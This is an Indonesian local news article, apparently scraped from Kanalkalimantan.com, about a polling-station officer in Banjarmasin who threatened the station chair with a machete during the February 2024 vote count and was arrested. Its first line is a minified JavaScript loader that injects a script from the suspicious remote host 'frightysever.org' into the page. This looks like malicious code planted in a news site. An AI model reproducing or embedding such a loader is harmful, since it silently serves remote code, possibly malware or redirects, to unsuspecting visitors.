(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pelaksanaan pemungutan suara Pemilu 2024 salah satu TPS di Kota Banjarmasin Provinsi Kalimantan Selatan (Kalsel) sempat terjadi masalah.
Kericuhan sempat terjadi di TPS 02 Kelurahan Sungai Lulut Kecamatan Banjarmasin Timur Kota Banjarmasin.
Pemungutan suara pada Rabu (14/2/2024) pagi yang awalnya berjalan lancar dan aman, pada sore hari sekitar pukul 17.00 Wita berubah menjadi tegang.
Baca juga: Masih Proses Kirim Kotak Suara, Besok PPK Banjarbaru Selatan Mulai Rekapitulasi
Dimana seorang lelaki berinisial A (40) melakukan pengancaman menggunakan parang kepada sesama petugas KPPS (Kelompok Penyelenggara Pemungutan Suara).
A sendiri adalah anggota KPPS pada TPS 02 Kelurahan Sungai Lulut sementara rekan yang diancam adalah Rohana yang menjabat sebagai Ketua KPPS.
Kasat Reskrim Polresta Banjarmasin, Kompol Thomas dalam keterangannya Kamis (15/2/2024) menjelaskan, kronologis kejadian berawal saat pencoblosan di TPS 02 Kelurahan Sungai Lulut selesai dan berlanjut perhitungan suara.
Anggota KPPS A, kata Thomas, saat itu bertugas menulis rekap hitung surat suara pada formulir C hasil.
Baca juga: 4.976 TPS di Kalsel Sudah Direkap, Prabowo-Gibran Memimpin Sementara 56,31%
Rohana yang merupakan Ketua KPPS saat itu menegur anggotanya itu karena melihat cara penulisan salah atau tidak sesuai dengan panduan pengisian pada aplikasi Si Rekap. Tak terima ditegur, kemudian A tersinggung dan marah.
“A tersinggung dan marah. Lalu pulang ke rumah mengambil senjata tajam jenis parang,” ujar Kasat Reskrim.
Masih dari keterangan Kompol Thomas, anggota KPPS A yang kembali dari rumahnya kemudian mencoba menyerang korban dan sempat mengamuk di tempat pemungutan suara.
Namun, petugas pengaman TPS dan anggota KPPS yang ada disana langsung menghalau aksi A dan mengamankannya.
Baca juga: Kocak! Bukan ‘Sah’ , Saksi TPS Kompak Teriakkan ‘Uhuy’ saat Nama Komeng Disebut
Tak terima diserang, Ketua KPPS TPS 02 Sungai Lulut ini kemudian melaporkan kejadian tersebut ke Polsek Banjarmasin Timur melalui telepon.
Polisi pun tiba di lokasi TPS 02 Sungai Lulut langsung mengamankan anggota KPPS A beserta barang bukti sebilah senjata tajam jenis parang.
Kompol Thomas memastikan proses penghitungan suara di TPS 02 usai kejadian tersebut tetap terlaksana hingga selesai.
Belakangan, kata Kompol Thomas, anggota KPPS A saat melakukan tuga kemudian menyerang Ketua KPPS disebut dalam pengaruh minuman keras.
Baca juga: 15 Februari: Sejarah Hari Kanker Anak Sedunia
Saat ini A beserta barang bukti telah diamankan ke Satreskrim Polresta Banjarmasin untuk proses lebih lanjut.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
This website uses cookies.